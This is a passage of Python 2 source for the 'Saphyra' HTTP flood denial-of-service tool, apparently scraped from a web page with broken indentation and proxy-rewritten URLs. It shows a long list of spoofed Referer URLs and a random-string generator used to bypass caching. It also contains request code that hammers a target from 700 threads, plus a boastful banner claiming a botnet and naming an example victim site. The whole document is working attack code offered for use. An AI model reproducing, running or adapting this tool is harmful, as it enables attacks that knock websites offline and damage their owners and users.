headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
headers_referers.append('http://jobs.leidos.com/search?q=')
headers_referers.append('http://jobs.bloomberg.com/search?q=')
headers_referers.append('https://www.pinterest.com/search/?q=')
headers_referers.append('http://millercenter.org/search?q=')
headers_referers.append('https://www.npmjs.com/search?q=')
headers_referers.append('http://www.evidence.nhs.uk/search?q=')
headers_referers.append('http://www.shodanhq.com/search?q=')
headers_referers.append('http://ytmnd.com/search?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('https://steamcommunity.com/market/search?q=')
headers_referers.append('http://filehippo.com/search?q=')
headers_referers.append('http://www.topsiteminecraft.com/site/pinterest.com/
search?q=')
headers_referers.append('http://eu.battle.net/wow/en/search?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://careers.gatesfoundation.org/search?q=')
headers_referers.append('http://techtv.mit.edu/search?q=')
headers_referers.append('http://www.ustream.tv/search?q=')
headers_referers.append('http://www.ted.com/search?q=')
headers_referers.append('http://funnymama.com/search?q=')
headers_referers.append('http://itch.io/search?q=')
headers_referers.append('http://jobs.rbs.com/jobs/search?q=')
headers_referers.append('http://taginfo.openstreetmap.org/search?q=')
headers_referers.append('http://www.baoxaydung.com.vn/news/vn/search&q=')
headers_referers.append('https://play.google.com/store/search?q=')
headers_referers.append('http://www.tceq.texas.gov/@@tceq-search?q=')
headers_referers.append('http://www.reddit.com/search?q=')
headers_referers.append('http://www.bestbuytheater.com/events/search?q=')
headers_referers.append('https://careers.carolinashealthcare.org/search?q=')
headers_referers.append('http://jobs.leidos.com/search?q=')
headers_referers.append('http://jobs.bloomberg.com/search?q=')
headers_referers.append('https://www.pinterest.com/search/?q=')
headers_referers.append('http://millercenter.org/search?q=')
headers_referers.append('https://www.npmjs.com/search?q=')
headers_referers.append('http://www.evidence.nhs.uk/search?q=')
headers_referers.append('http://www.shodanhq.com/search?q=')
headers_referers.append('http://ytmnd.com/search?q=')
headers_referers.append('https://www.facebook.com/sharer/sharer.php?
u=https://www.facebook.com/sharer/sharer.php?u=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('https://www.facebook.com/l.php?u=https://
www.facebook.com/l.php?u=')
headers_referers.append('https://drive.google.com/viewerng/viewer?url=')
headers_referers.append('http://www.google.com/translate?u=')
headers_referers.append('https://developers.google.com/speed/pagespeed/
insights/?url=')
headers_referers.append('http://help.baidu.com/searchResult?keywords=')
headers_referers.append('http://www.bing.com/search?q=')
headers_referers.append('https://add.my.yahoo.com/rss?url=')
headers_referers.append('https://play.google.com/store/search?q=')
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://' + host + '/')
return(headers_referers)
#builds random ascii string
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 160)
out_str += chr(a)
return(out_str)

def usage():
print 'Saphyra Priv8 Hax Stroke iDDoS Tool ( individual Dangerous Denial of
Service )'
print 'Hax Stroke Facebook: http://facebook.com/anonghostsoldierstroke'
print 'New loaded Botnets: 1,798,445,657'
print 'Usage: Saphyra (url)'
print 'Example: Saphyra.py http://luthi.co.il/'
print "\a"
print \
"""

,-.
( O_)
/ `-/
/-. /
/ )
/ /
_ /-. /
(_)*-._ / )
*-._ *-'**( )/
*-/*-._* `.
/ *-.'._
/\ /-._*-._
_,---...__ / ) _,-*/ *-(_)
___<__(|) _ **-/ / / /
' `----' **-. \/ / /
) ] / /
____..-' // / )
,-** __.,'/ / ___ /,
/ ,--**/ / / /,-** ***-. ,'/
[ ( / / / / ,.---,_ `._ _,-','
\ `-./ / / / / `-._ *** ,-'
`-._ / / / /_,' **--*
*/ / / /*
/ / / /
/ / / /
/ |,' /
: / /
[ / ,' ~>Saphyra DDoS Tool<~
| / ,' ~~>Created By Hax Stroke<~~
|/,-'
'

"""

#http request
def httpcall(url):
useragent_list()
referer_list()
code=0
if url.count("?")>0:
param_joiner="&"
else:
param_joiner="?"
request = urllib2.Request(url + param_joiner +
buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) +
buildblock(random.randint(50,100)))
request.add_header('Keep-Alive', random.randint(110,160))
request.add_header('Connection', 'keep-alive')
request.add_header('Host',host)
try:
urllib2.urlopen(request)
except urllib2.HTTPError, e:
#print e.code
set_flag(1)
print "----->>> Saphyra attack started Sended <<<-----"
code=500
except urllib2.URLError, e:
#print e.reason
sys.exit()
else:
inc_counter()
urllib2.urlopen(request)
return(code)

#http caller thread


class HTTPThread(threading.Thread):
def run(self):
try:
while flag<2:
code=httpcall(url)
if (code==500) & (safe==1):
set_flag(2)
except Exception, ex:
pass

# monitors http threads and counts requests


class MonitorThread(threading.Thread):
def run(self):
previous=request_counter
while flag==0:
if (previous+100<request_counter) & (previous<>request_counter):
previous=request_counter
if flag==2:
print "\n-- Sending mass amounf of packets generated by Liphyra
Botnet --"

#execute
if len(sys.argv) < 2:
usage()
sys.exit()
else:
if sys.argv[1]=="help":
usage()
sys.exit()
else:
print "Starting the Saphyra shotings in webserver Hyper Massive Revolt
DDoS Tool"
print "Created By Hax Stroke"
if len(sys.argv)== 3:
if sys.argv[2]=="safe":
set_safe()
url = sys.argv[1]
if url.count("/")==2:
url = url + "/"
m = re.search('http\://([^/]*)/?.*', url)
host = m.group(1)
for i in range(700):
t = HTTPThread()
t.start()
t = MonitorThread()
t.start()

You might also like